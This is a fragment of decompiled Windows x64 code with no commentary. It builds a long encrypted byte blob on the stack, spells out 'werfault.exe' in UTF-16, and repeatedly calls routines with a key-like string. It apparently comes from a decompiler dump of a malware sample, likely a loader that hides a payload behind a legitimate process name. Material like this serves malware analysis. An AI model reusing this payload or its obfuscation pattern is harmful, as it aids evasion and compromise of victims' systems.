				 *((intOrPtr*)(_t2749 + 0x634)) = 0x4142763e;
				 *((intOrPtr*)(_t2749 + 0x638)) = 0xd5b4ed11;
				 *((intOrPtr*)(_t2749 + 0x63c)) = 0x726d5259;
				 *((intOrPtr*)(_t2749 + 0x640)) = 0x301aade7;
				 *((intOrPtr*)(_t2749 + 0x644)) = 0x11b86093;
				 *((intOrPtr*)(_t2749 + 0x648)) = 0x770a90c;
				 *((intOrPtr*)(_t2749 + 0x64c)) = 0xbe2ebb42;
				 *((intOrPtr*)(_t2749 + 0x650)) = 0x54164d05;
				 *((intOrPtr*)(_t2749 + 0x654)) = 0x13b6190f;
				 *((intOrPtr*)(_t2749 + 0x658)) = 0x495fbe08;
				 *((intOrPtr*)(_t2749 + 0x65c)) = 0x881f8d14;
				 *((intOrPtr*)(_t2749 + 0x660)) = 0x46e8c806;
				 *((intOrPtr*)(_t2749 + 0x664)) = 0x17594532;
				 *((intOrPtr*)(_t2749 + 0x668)) = 0xc729e0e6;
				 *((intOrPtr*)(_t2749 + 0x66c)) = 0x6425478d;
				 *((intOrPtr*)(_t2749 + 0x670)) = 0x4d4199be;
				 *((intOrPtr*)(_t2749 + 0x674)) = 0x87724367;
				 *((intOrPtr*)(_t2749 + 0x678)) = 0x1888b827;
				 *((intOrPtr*)(_t2749 + 0x67c)) = 0x9a5ea779;
				 *((intOrPtr*)(_t2749 + 0x680)) = 0x503015bf;
				 *((intOrPtr*)(_t2749 + 0x684)) = 0x2eca91;
				 *((intOrPtr*)(_t2749 + 0x688)) = 0x72b38042;
				 *((intOrPtr*)(_t2749 + 0x68c)) = 0x86f5e787;
				 *((intOrPtr*)(_t2749 + 0x690)) = 0x766d74c7;
				 *((intOrPtr*)(_t2749 + 0x694)) = 0xb8504ee1;
				 *((intOrPtr*)(_t2749 + 0x698)) = 0x41dde896;
				 *((intOrPtr*)(_t2749 + 0x69c)) = 0x4208bd25;
				 *((intOrPtr*)(_t2749 + 0x6a0)) = 0x7297a241;
				 *((intOrPtr*)(_t2749 + 0x6a4)) = 0x6e179b46;
				 *((intOrPtr*)(_t2749 + 0x6a8)) = 0x5acf24e1;
				 *((intOrPtr*)(_t2749 + 0x6ac)) = 0x61a211b3;
				 *((intOrPtr*)(_t2749 + 0x6b0)) = 0x780310d9;
				 *((intOrPtr*)(_t2749 + 0x6b4)) = 0x27dd4d52;
				 *((intOrPtr*)(_t2749 + 0x6b8)) = 0xda5d543c;
				 *((intOrPtr*)(_t2749 + 0x6bc)) = 0x522dbc2c;
				 *((intOrPtr*)(_t2749 + 0x6c0)) = 0xa114ba17;
				 *((intOrPtr*)(_t2749 + 0x6c4)) = 0x530f1025;
				 *((intOrPtr*)(_t2749 + 0x6c8)) = 0x4c8037e;
				 *((intOrPtr*)(_t2749 + 0x6cc)) = 0x10c87e76;
				 *((intOrPtr*)(_t2749 + 0x6d0)) = 0xbf0c2846;
				 *((intOrPtr*)(_t2749 + 0x6d4)) = 0x5cd8ca30;
				 *((intOrPtr*)(_t2749 + 0x6d8)) = 0x141b0a2;
				 *((intOrPtr*)(_t2749 + 0x6dc)) = 0xc4cb7742;
				 *((intOrPtr*)(_t2749 + 0x6e0)) = 0x45336775;
				 *((intOrPtr*)(_t2749 + 0x6e4)) = 0x37fde5d2;
				 *((intOrPtr*)(_t2749 + 0x6e8)) = 0x301e426c;
				 *((intOrPtr*)(_t2749 + 0x6ec)) = 0x5d73a2a3;
				 *((intOrPtr*)(_t2749 + 0x6f0)) = 0xc6788285;
				 *((intOrPtr*)(_t2749 + 0x6f4)) = 0x336655f4;
				 *((intOrPtr*)(_t2749 + 0x6f8)) = 0x6c72e4ce;
				 *((intOrPtr*)(_t2749 + 0x6fc)) = 0x9ec96c37;
				 *((intOrPtr*)(_t2749 + 0x700)) = 0xcae2537b;
				 *((intOrPtr*)(_t2749 + 0x704)) = 0xfe0a2804;
				 *((intOrPtr*)(_t2749 + 0x708)) = 0x23656506;
				 *((intOrPtr*)(_t2749 + 0x70c)) = 0xd91d8500;
				 *((intOrPtr*)(_t2749 + 0x710)) = 0x92e77b5b;
				 *((intOrPtr*)(_t2749 + 0x714)) = 0x392eb812;
				 *((intOrPtr*)(_t2749 + 0x718)) = 0xef35279;
				 *((intOrPtr*)(_t2749 + 0x71c)) = 0xde08b974;
				 *((intOrPtr*)(_t2749 + 0x720)) = 0x90c07b68;
				 *((intOrPtr*)(_t2749 + 0x724)) = 0xe97f3226;
				 *((intOrPtr*)(_t2749 + 0x728)) = 0x153b2f8b;
				 *((intOrPtr*)(_t2749 + 0x72c)) = 0x33578226;
				 *((intOrPtr*)(_t2749 + 0x730)) = 0x96d9c90;
				 *((intOrPtr*)(_t2749 + 0x734)) = 0xc3135d8;
				 *((intOrPtr*)(_t2749 + 0x738)) = 0x342592d2;
				 *((intOrPtr*)(_t2749 + 0x73c)) = 0x316e06bd;
				 *((intOrPtr*)(_t2749 + 0x740)) = 0xae7d2024;
				 *((intOrPtr*)(_t2749 + 0x744)) = 0x464f06c0;
				 *((intOrPtr*)(_t2749 + 0x748)) = 0x7b912043;
				 *((intOrPtr*)(_t2749 + 0x74c)) = 0x45760dcc;
				 *((intOrPtr*)(_t2749 + 0x750)) = 0x1e825f72;
				 *((intOrPtr*)(_t2749 + 0x754)) = 0x150d04be;
				 *((intOrPtr*)(_t2749 + 0x758)) = 0x53068937;
				 *((intOrPtr*)(_t2749 + 0x75c)) = 0x22dc2762;
				 *((intOrPtr*)(_t2749 + 0x760)) = 0xd9146717;
				 *((intOrPtr*)(_t2749 + 0x764)) = 0x88e77ea2;
				 *((intOrPtr*)(_t2749 + 0x768)) = 0x6084cc17;
				 *((intOrPtr*)(_t2749 + 0x76c)) = 0xb0897b6;
				 *((intOrPtr*)(_t2749 + 0x770)) = 0x104985f4;
				 *((intOrPtr*)(_t2749 + 0x774)) = 0xd20cf355;
				 *((intOrPtr*)(_t2749 + 0x778)) = 0xa5b2255c;
				 *((intOrPtr*)(_t2749 + 0x77c)) = 0xdb7f5136;
				 *((intOrPtr*)(_t2749 + 0x780)) = 0xeb61117d;
				 *((intOrPtr*)(_t2749 + 0x784)) = 0xbcc136e3;
				 *((intOrPtr*)(_t2749 + 0x788)) = 0x2c3a1054;
				 *((intOrPtr*)(_t2749 + 0x78c)) = 0x376eba96;
				 *((intOrPtr*)(_t2749 + 0x790)) = 0x1303bd6c;
				 *((intOrPtr*)(_t2749 + 0x794)) = 0x19156fdb;
				 *((intOrPtr*)(_t2749 + 0x798)) = 0x7638483;
				 *((intOrPtr*)(_t2749 + 0x79c)) = 0xf3e3aa72;
				 *((intOrPtr*)(_t2749 + 0x7a0)) = 0x920adc4a;
				 *((intOrPtr*)(_t2749 + 0x7a4)) = 0xdd0a93c8;
				 *((intOrPtr*)(_t2749 + 0x7a8)) = 0x3529d88e;
				 *((intOrPtr*)(_t2749 + 0x7ac)) = 0xdac94c51;
				 *((intOrPtr*)(_t2749 + 0x7b0)) = 0x66554052;
				 *((intOrPtr*)(_t2749 + 0x7b4)) = 0xa6e67c77;
				 *((intOrPtr*)(_t2749 + 0x7b8)) = 0x4d6c376d;
				 *((intOrPtr*)(_t2749 + 0x7bc)) = 0x295095d2;
				 *((intOrPtr*)(_t2749 + 0x7c0)) = 0xf58b1535;
				 *((intOrPtr*)(_t2749 + 0x7c4)) = 0x55414287;
				 *((intOrPtr*)(_t2749 + 0x7c8)) = 0x5d83b02f;
				 *((intOrPtr*)(_t2749 + 0x7cc)) = 0x85c46e1e;
				 *((intOrPtr*)(_t2749 + 0x7d0)) = 0x503356c8;
				 *((intOrPtr*)(_t2749 + 0x7d4)) = 0x485fbe68;
				 *((intOrPtr*)(_t2749 + 0x7d8)) = 0x14bdbc41;
				 *((intOrPtr*)(_t2749 + 0x7dc)) = 0x1ba2e7d;
				 *((intOrPtr*)(_t2749 + 0x7e0)) = 0x428627d;
				 *((intOrPtr*)(_t2749 + 0x7e4)) = 0x45dd03ac;
				 *((intOrPtr*)(_t2749 + 0x7e8)) = 0x99be6158;
				 *((intOrPtr*)(_t2749 + 0x7ec)) = 0x4e09c945;
				 *((intOrPtr*)(_t2749 + 0x7f0)) = 0x7f955609;
				 *((intOrPtr*)(_t2749 + 0x7f4)) = 0x541ea246;
				 *((intOrPtr*)(_t2749 + 0x7f8)) = 0x1f1e1831;
				 *((intOrPtr*)(_t2749 + 0x7fc)) = 0xb06147b8;
				 *((intOrPtr*)(_t2749 + 0x800)) = 0x334a7983;
				 *((intOrPtr*)(_t2749 + 0x804)) = 0x5597f64d;
				 *((intOrPtr*)(_t2749 + 0x808)) = 0x1a76aee1;
				 *((intOrPtr*)(_t2749 + 0x80c)) = 0xb6ef5ee;
				 *((intOrPtr*)(_t2749 + 0x810)) = 0x2a18f3dd;
				 *((intOrPtr*)(_t2749 + 0x814)) = 0x403815e6;
				 *((intOrPtr*)(_t2749 + 0x818)) = 0xaa094b03;
				 *((intOrPtr*)(_t2749 + 0x81c)) = 0x5d7d77a6;
				 *((intOrPtr*)(_t2749 + 0x820)) = 0x24c01850;
				 *((intOrPtr*)(_t2749 + 0x824)) = 0x781702cb;
				 *((intOrPtr*)(_t2749 + 0x828)) = 0x4891066c;
				 *((intOrPtr*)(_t2749 + 0x82c)) = 0x616623cf;
				 *((intOrPtr*)(_t2749 + 0x830)) = 0x6177ef33;
				 *((intOrPtr*)(_t2749 + 0x834)) = 0x73e43479;
				 *((intOrPtr*)(_t2749 + 0x838)) = 0xb81a6048;
				 *((intOrPtr*)(_t2749 + 0x83c)) = 0x85ca689e;
				 *((intOrPtr*)(_t2749 + 0x840)) = 0x4ab1c148;
				 *((intOrPtr*)(_t2749 + 0x844)) = 0x3ba1d608;
				 *((intOrPtr*)(_t2749 + 0x848)) = 0x21926a00;
				 *((intOrPtr*)(_t2749 + 0x84c)) = 0x51366a0e;
				 *((intOrPtr*)(_t2749 + 0x850)) = 0x1165db7b;
				 *((intOrPtr*)(_t2749 + 0x854)) = 0x3ee6eb61;
				 *((intOrPtr*)(_t2749 + 0x858)) = 0x237587c1;
				 *((intOrPtr*)(_t2749 + 0x85c)) = 0x6b1cba00;
				 *((intOrPtr*)(_t2749 + 0x860)) = 0x2fe93853;
				 *((intOrPtr*)(_t2749 + 0x864)) = 0x6cafcca9;
				 *((intOrPtr*)(_t2749 + 0x868)) = 0xf50fa6be;
				 *((intOrPtr*)(_t2749 + 0x86c)) = 0xe9005630;
				 *((intOrPtr*)(_t2749 + 0x870)) = 0x59453367;
				 *((intOrPtr*)(_t2749 + 0x874)) = 0x130c2934;
				 *((intOrPtr*)(_t2749 + 0x878)) = 0x88b05944;
				 *((intOrPtr*)(_t2749 + 0x87c)) = 0x48513529;
				 *((intOrPtr*)(_t2749 + 0x880)) = 0x97e00cf;
				 *((intOrPtr*)(_t2749 + 0x884)) = 0xc8769656;
				 *((intOrPtr*)(_t2749 + 0x888)) = 0x736c7635;
				 *((intOrPtr*)(_t2749 + 0x88c)) = 0x3cba3c55;
				 *((intOrPtr*)(_t2749 + 0x890)) = 0x51358ed4;
				 *((intOrPtr*)(_t2749 + 0x894)) = 0xc979c900;
				 *((intOrPtr*)(_t2749 + 0x898)) = 0x2d8c9490;
				 *((intOrPtr*)(_t2749 + 0x89c)) = 0x4e1398ce;
				 *((intOrPtr*)(_t2749 + 0x8a0)) = 0x4baaade3;
				 *((intOrPtr*)(_t2749 + 0x8a4)) = 0x7436b9f2;
				 *((intOrPtr*)(_t2749 + 0x8a8)) = 0x6837c472;
				 *((intOrPtr*)(_t2749 + 0x8ac)) = 0x682093c7;
				 *((intOrPtr*)(_t2749 + 0x8b0)) = 0x491c9cc4;
				 *((intOrPtr*)(_t2749 + 0x8b4)) = 0xa2ef76ad;
				 *((intOrPtr*)(_t2749 + 0x8b8)) = 0xed537651;
				 *((intOrPtr*)(_t2749 + 0x8bc)) = 0x9bf701de;
				 *((intOrPtr*)(_t2749 + 0x8c0)) = 0x10815932;
				 *((intOrPtr*)(_t2749 + 0x8c4)) = 0x5a00f645;
				 *((intOrPtr*)(_t2749 + 0x8c8)) = 0xe9748697;
				 *((intOrPtr*)(_t2749 + 0x8cc)) = 0xd5102390;
				 *((intOrPtr*)(_t2749 + 0x8d0)) = 0x445740e0;
				 *((intOrPtr*)(_t2749 + 0x8d4)) = 0xaa5235cf;
				 *((intOrPtr*)(_t2749 + 0x8d8)) = 0x30e1e360;
				 *((intOrPtr*)(_t2749 + 0x8dc)) = 0x43a4d74c;
				 *((intOrPtr*)(_t2749 + 0x8e0)) = 0xb3ee0364;
				 *((intOrPtr*)(_t2749 + 0x8e4)) = 0xba352950;
				 *((intOrPtr*)(_t2749 + 0x8e8)) = 0xc7fc0625;
				 *((intOrPtr*)(_t2749 + 0x8ec)) = 0x33665459;
				 *((intOrPtr*)(_t2749 + 0x8f0)) = 0xa4d77aae;
				 *((intOrPtr*)(_t2749 + 0x8f4)) = 0xdb066a42;
				 *((intOrPtr*)(_t2749 + 0x8f8)) = 0x27c27072;
				 *((intOrPtr*)(_t2749 + 0x8fc)) = 0x6fc78b15;
				 *((intOrPtr*)(_t2749 + 0x900)) = 0xe3554143;
				 *((intOrPtr*)(_t2749 + 0x904)) = 0x5219fdfa;
				 *((intOrPtr*)(_t2749 + 0x908)) = 0x4d28376d;
				 *((intOrPtr*)(_t2749 + 0x90c)) = 0xa014f313;
				 *((intOrPtr*)(_t2749 + 0x910)) = 0x420149b0;
				 *((intOrPtr*)(_t2749 + 0x914)) = 0x5547b577;
				 *((intOrPtr*)(_t2749 + 0x918)) = 0x2d413366;
				 *((intOrPtr*)(_t2749 + 0x91c)) = 0xd6382c5e;
				 *((intOrPtr*)(_t2749 + 0x920)) = 0xd9775faa;
				 *((intOrPtr*)(_t2749 + 0x924)) = 0x502dac;
				 *((intOrPtr*)(_t2749 + 0x928)) = 0xa90cfc42;
				 *((intOrPtr*)(_t2749 + 0x92c)) = 0x5dbeeb19;
				 *((intOrPtr*)(_t2749 + 0x930)) = 0xbc6d5258;
				 *((intOrPtr*)(_t2749 + 0x934)) = 0x301eae3a;
				 *((intOrPtr*)(_t2749 + 0x938)) = 0x6160d69b;
				 *((intOrPtr*)(_t2749 + 0x93c)) = 0x4430f50f;
				 *((intOrPtr*)(_t2749 + 0x940)) = 0x7b925604;
				 *((intOrPtr*)(_t2749 + 0x944)) = 0x297a9fc6;
				 *((intOrPtr*)(_t2749 + 0x948)) = 0xd44d9c0c;
				 *((intOrPtr*)(_t2749 + 0x94c)) = 0xcad6af08;
				 *((intOrPtr*)(_t2749 + 0x950)) = 0x67ef8b1d;
				 *((intOrPtr*)(_t2749 + 0x954)) = 0x23554143;
				 *((intOrPtr*)(_t2749 + 0x958)) = 0x806a8500;
				 *((intOrPtr*)(_t2749 + 0x95c)) = 0xbda5b425;
				 *((intOrPtr*)(_t2749 + 0x960)) = 0x6d6866a9;
				 *((intOrPtr*)(_t2749 + 0x964)) = 0x42d4ee0c;
				 *((intOrPtr*)(_t2749 + 0x968)) = 0x71354277;
				 *((intOrPtr*)(_t2749 + 0x96c)) = 0x5995b4ed;
				 *((intOrPtr*)(_t2749 + 0x970)) = 0xe77f6d52;
				 *((intOrPtr*)(_t2749 + 0x974)) = 0xbb2b4e36;
				 *((intOrPtr*)(_t2749 + 0x978)) = 0xc0627026;
				 *((intOrPtr*)(_t2749 + 0x97c)) = 0x996fc03;
				 *((intOrPtr*)(_t2749 + 0x980)) = 0x95ccadde;
				 *((intOrPtr*)(_t2749 + 0x984)) = 0x3f1bdf11;
				 *((intOrPtr*)(_t2749 + 0x988)) = 0x7b50c924;
				 *((intOrPtr*)(_t2749 + 0x98c)) = 0xb840e9d5;
				 *((intOrPtr*)(_t2749 + 0x990)) = 0xc2fac94c;
				 *((intOrPtr*)(_t2749 + 0x994)) = 0x7e665541;
				 *((intOrPtr*)(_t2749 + 0x998)) = 0x422690c0;
				 *((intOrPtr*)(_t2749 + 0x99c)) = 0x56e6ebbc;
				 *((intOrPtr*)(_t2749 + 0x9a0)) = 0xf5ac5033;
				 *((intOrPtr*)(_t2749 + 0x9a4)) = 0xbfc92525;
				 *((intOrPtr*)(_t2749 + 0x9a8)) = 0x2e96ca0e;
				 *((intOrPtr*)(_t2749 + 0x9ac)) = 0xf8f3ee8b;
				 *((intOrPtr*)(_t2749 + 0x9b0)) = 0xe8c69dc7;
				 *((intOrPtr*)(_t2749 + 0x9b4)) = 0xc8a77bfc;
				 *((intOrPtr*)(_t2749 + 0x9b8)) = 0x42a0debe;
				 *((intOrPtr*)(_t2749 + 0x9bc)) = 0x94094277;
				 *((intOrPtr*)(_t2749 + 0x9c0)) = 0x5a0d308c;
				 *((intOrPtr*)(_t2749 + 0x9c4)) = 0xb81c2c99;
				 *((intOrPtr*)(_t2749 + 0x9c8)) = 0xdbe2a903;
				 *((intOrPtr*)(_t2749 + 0x9cc)) = 0x8b1c1d6e;
				 *((intOrPtr*)(_t2749 + 0x9d0)) = 0xcc93e86;
				 *((intOrPtr*)(_t2749 + 0x9d4)) = 0x86302e55;
				 *((intOrPtr*)(_t2749 + 0x9d8)) = 0xc8b9d918;
				 *((intOrPtr*)(_t2749 + 0x9dc)) = 0x6edf0bbc;
				 *((intOrPtr*)(_t2749 + 0x9e0)) = 0x19f51a78;
				 *((intOrPtr*)(_t2749 + 0x9e4)) = 0x43bf8681;
				 *((intOrPtr*)(_t2749 + 0x9e8)) = 0x6c275541;
				 *((intOrPtr*)(_t2749 + 0x9ec)) = 0x30130704;
				 *((intOrPtr*)(_t2749 + 0x9f0)) = 0x81d3076;
				 *((intOrPtr*)(_t2749 + 0x9f4)) = 0xf9ea0d68;
				 *((intOrPtr*)(_t2749 + 0x9f8)) = 0x531e8919;
				 *((intOrPtr*)(_t2749 + 0x9fc)) = 0x12dc094a;
				 *((intOrPtr*)(_t2749 + 0xa00)) = 0x1a0e5517;
				 *((intOrPtr*)(_t2749 + 0xa04)) = 0x277cdbee;
				 *((intOrPtr*)(_t2749 + 0xa08)) = 0xc54b81e;
				 *((intOrPtr*)(_t2749 + 0xa0c)) = 0x42005155;
				 *((intOrPtr*)(_t2749 + 0xa10)) = 0xde09b3fc;
				 *((intOrPtr*)(_t2749 + 0xa14)) = 0xd2092b36;
				 *((intOrPtr*)(_t2749 + 0xa18)) = 0xe77a7d18;
				 *((intOrPtr*)(_t2749 + 0xa1c)) = 0xd57e6603;
				 *((intOrPtr*)(_t2749 + 0xa20)) = 0xb4d53ae9;
				 *((intOrPtr*)(_t2749 + 0xa24)) = 0x427742;
				 *((intOrPtr*)(_t2749 + 0xa28)) = 0x1d72765a;
				 *((intOrPtr*)(_t2749 + 0xa2c)) = 0xb2d3110;
				 *((intOrPtr*)(_t2749 + 0xa30)) = 0xb81b905f;
				 *((intOrPtr*)(_t2749 + 0xa34)) = 0x2e3ada59;
				 *((intOrPtr*)(_t2749 + 0xa38)) = 0xc9356604;
				 *((intOrPtr*)(_t2749 + 0xa3c)) = 0x33ee55dd;
				 *((intOrPtr*)(_t2749 + 0xa40)) = 0xb6d75945;
				 *((intOrPtr*)(_t2749 + 0xa44)) = 0xdd0ab843;
				 *((intOrPtr*)(_t2749 + 0xa48)) = 0xf4617437;
				 *((intOrPtr*)(_t2749 + 0xa4c)) = 0x780610b9;
				 *((intOrPtr*)(_t2749 + 0xa50)) = 0xe31091f5;
				 *((intOrPtr*)(_t2749 + 0xa54)) = 0x1a7831e1;
				 *((intOrPtr*)(_t2749 + 0xa58)) = 0x4a487be6;
				 *((intOrPtr*)(_t2749 + 0xa5c)) = 0x268ab813;
				 *((intOrPtr*)(_t2749 + 0xa60)) = 0x88c1508b;
				 *((intOrPtr*)(_t2749 + 0xa64)) = 0x3478c27a;
				 *((intOrPtr*)(_t2749 + 0xa68)) = 0x9bc6301a;
				 *((intOrPtr*)(_t2749 + 0xa6c)) = 0x24e76eb2;
				 *((intOrPtr*)(_t2749 + 0xa70)) = 0xd37a97bd;
				 *((intOrPtr*)(_t2749 + 0xa74)) = 0xe72434c2;
				 *((intOrPtr*)(_t2749 + 0xa78)) = 0x5956fa0f;
				 *((intOrPtr*)(_t2749 + 0xa7c)) = 0xce72af66;
				 *((intOrPtr*)(_t2749 + 0xa80)) = 0x34247223;
				 *((intOrPtr*)(_t2749 + 0xa84)) = 0x796f0394;
				 *((intOrPtr*)(_t2749 + 0xa88)) = 0xdaba5f48;
				 *((intOrPtr*)(_t2749 + 0xa8c)) = 0x9944071f;
				 *((intOrPtr*)(_t2749 + 0xa90)) = 0x7bbe5608;
				 *((intOrPtr*)(_t2749 + 0xa94)) = 0x625626c8;
				 *((intOrPtr*)(_t2749 + 0xa98)) = 0xa90a6f89;
				 *((intOrPtr*)(_t2749 + 0xa9c)) = 0xfee811f0;
				 *((intOrPtr*)(_t2749 + 0xaa0)) = 0xaf41445c;
				 *((intOrPtr*)(_t2749 + 0xaa4)) = 0x66aa3ac2;
				 *((intOrPtr*)(_t2749 + 0xaa8)) = 0xdf18a846;
				 *((intOrPtr*)(_t2749 + 0xaac)) = 0x84572469;
				 *((intOrPtr*)(_t2749 + 0xab0)) = 0xe8af3e22;
				 *((intOrPtr*)(_t2749 + 0xab4)) = 0x5a4a6a74;
				 *((intOrPtr*)(_t2749 + 0xab8)) = 0xea89305;
				 *((intOrPtr*)(_t2749 + 0xabc)) = 0x18bacc99;
				 *((intOrPtr*)(_t2749 + 0xac0)) = 0x6f132fd9;
				 *((intOrPtr*)(_t2749 + 0xac4)) = 0x90301f8b;
				 *((intOrPtr*)(_t2749 + 0xac8)) = 0x1458226;
				 *((intOrPtr*)(_t2749 + 0xacc)) = 0x5d08fc03;
				 *((intOrPtr*)(_t2749 + 0xad0)) = 0xcefb651c;
				 *((intOrPtr*)(_t2749 + 0xad4)) = 0x3424c35d;
				 *((intOrPtr*)(_t2749 + 0xad8)) = 0x54a9ac;
				 *((intOrPtr*)(_t2749 + 0xadc)) = 0xdbe6190;
				 *((intOrPtr*)(_t2749 + 0xae0)) = 0xc93f6224;
				 *((intOrPtr*)(_t2749 + 0xae4)) = 0x7b4e7135;
				 *((intOrPtr*)(_t2749 + 0xae8)) = 0x32429dc6;
				 *((char*)(_t2749 + 0xaec)) = 0xf4;
				 *((intOrPtr*)(_t2749 + 0xaf0)) = 0x650077;
				 *((intOrPtr*)(_t2749 + 0xaf4)) = 0x660072;
				 *((intOrPtr*)(_t2749 + 0xaf8)) = 0x750061;
				 *((intOrPtr*)(_t2749 + 0xafc)) = 0x74006c;
				 *((intOrPtr*)(_t2749 + 0xb00)) = 0x65002e;
				 *((intOrPtr*)(_t2749 + 0xb04)) = 0x650078;
				 *((intOrPtr*)(_t2749 + 0xb08)) = r15w;
				E000007FE7FEF74E1628(_t1421, _t1653, 0xf7500460, "LntV4SWMfkM39n6mMSw3KbEg4", _t1870, 0xf7500460, _t2758, _t2757);
				_t1654 = _t1652;
				E000007FE7FEF74E1848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF74E14D0(_t1652, _t1652, 0xf7500460, _t2756);
				E000007FE7FEF74E1628(_t1421, _t1654, 0xf7500460, "LntV4SWMfkM39n6mMSw3KbEg4", _t1870, 0xf7500460, _t2755, _t2748);
				_t1655 = _t1652;
				E000007FE7FEF74E1848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF74E14D0(_t1652, _t1652, 0xf7500460);
				E000007FE7FEF74E1628(_t1421, _t1655, 0xf7500460, "LntV4SWMfkM39n6mMSw3KbEg4", _t1870, 0xf7500460);
				_t1656 = _t1652;
				E000007FE7FEF74E1848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF74E14D0(_t1652, _t1652, 0xf7500460);
				E000007FE7FEF74E1628(_t1421, _t1656, 0xf7500460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7500460);
				_t1657 = _t1652;
				E000007FE7FEF74E1848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF74E14D0(_t1652, _t1652, 0xf7500460);
				E000007FE7FEF74E1628(_t1421, _t1657, 0xf7500460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7500460);
				_t1658 = _t1652;
				E000007FE7FEF74E1848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF74E14D0(_t1652, _t1652, 0xf7500460);
				E000007FE7FEF74E1628(_t1421, _t1658, 0xf7500460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7500460);
				_t1659 = _t1652;
				E000007FE7FEF74E1848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF74E14D0(_t1652, _t1652, 0xf7500460);
				E000007FE7FEF74E1628(_t1421, _t1659, 0xf7500460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7500460);
				_t1660 = _t1652;
				E000007FE7FEF74E1848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF74E14D0(_t1652, _t1652, 0xf7500460);
				E000007FE7FEF74E1628(_t1421, _t1660, 0xf7500460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7500460);
				_t1661 = _t1652;
				E000007FE7FEF74E1848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF74E14D0(_t1652, _t1652, 0xf7500460);
				E000007FE7FEF74E1628(_t1421, _t1661, 0xf7500460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7500460);
				_t1662 = _t1652;
				E000007FE7FEF74E1848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF74E14D0(_t1652, _t1652, 0xf7500460);
				E000007FE7FEF74E1628(_t1421, _t1662, 0xf7500460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7500460);
				_t1663 = _t1652;
				E000007FE7FEF74E1848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF74E14D0(_t1652, _t1652, 0xf7500460);
				E000007FE7FEF74E1628(_t1421, _t1663, 0xf7500460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7500460);
				_t1664 = _t1652;
				E000007FE7FEF74E1848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF74E14D0(_t1652, _t1652, 0xf7500460);
				E000007FE7FEF74E1628(_t1421, _t1664, 0xf7500460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7500460);
				_t1665 = _t1652;
				E000007FE7FEF74E1848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF74E14D0(_t1652, _t1652, 0xf7500460);
				E000007FE7FEF74E1628(_t1421, _t1665, 0xf7500460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7500460);
				_t1666 = _t1652;
				E000007FE7FEF74E1848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF74E14D0(_t1652, _t1652, 0xf7500460);
				E000007FE7FEF74E1628(_t1421, _t1666, 0xf7500460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7500460);
				_t1667 = _t1652;
				E000007FE7FEF74E1848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF74E14D0(_t1652, _t1652, 0xf7500460);
				E000007FE7FEF74E1628(_t1421, _t1667, 0xf7500460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7500460);
				_t1668 = _t1652;
				E000007FE7FEF74E1848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF74E14D0(_t1652, _t1652, 0xf7500460);
				E000007FE7FEF74E1628(_t1421, _t1668, 0xf7500460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7500460);
				_t1669 = _t1652;
				E000007FE7FEF74E1848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF74E14D0(_t1652, _t1652, 0xf7500460);
				E000007FE7FEF74E1628(_t1421, _t1669, 0xf7500460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7500460);
				_t1670 = _t1652;
				E000007FE7FEF74E1848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF74E14D0(_t1652, _t1652, 0xf7500460);
				E000007FE7FEF74E1628(_t1421, _t1670, 0xf7500460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7500460);
				_t1671 = _t1652;
				E000007FE7FEF74E1848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF74E14D0(_t1652, _t1652, 0xf7500460);
				E000007FE7FEF74E1628(_t1421, _t1671, 0xf7500460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7500460);
				_t1672 = _t1652;
				E000007FE7FEF74E1848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF74E14D0(_t1652, _t1652, 0xf7500460);
				E000007FE7FEF74E1628(_t1421, _t1672, 0xf7500460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7500460);
				_t1673 = _t1652;
				E000007FE7FEF74E1848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF74E14D0(_t1652, _t1652, 0xf7500460);
				E000007FE7FEF74E1628(_t1421, _t1673, 0xf7500460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7500460);
				_t1674 = _t1652;
				E000007FE7FEF74E1848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF74E14D0(_t1652, _t1652, 0xf7500460);
				E000007FE7FEF74E1628(_t1421, _t1674, 0xf7500460, "LntV4SWMfkM39n6mMSw3KbEg4", _t2745, 0xf7500460);
				_t1675 = _t1652;
				E000007FE7FEF74E1848(0xa, _t1645, _t1652, _t1652, _t1652);
				E000007FE7FEF74E14D0(_t1652, _t1652, 0xf7500460);
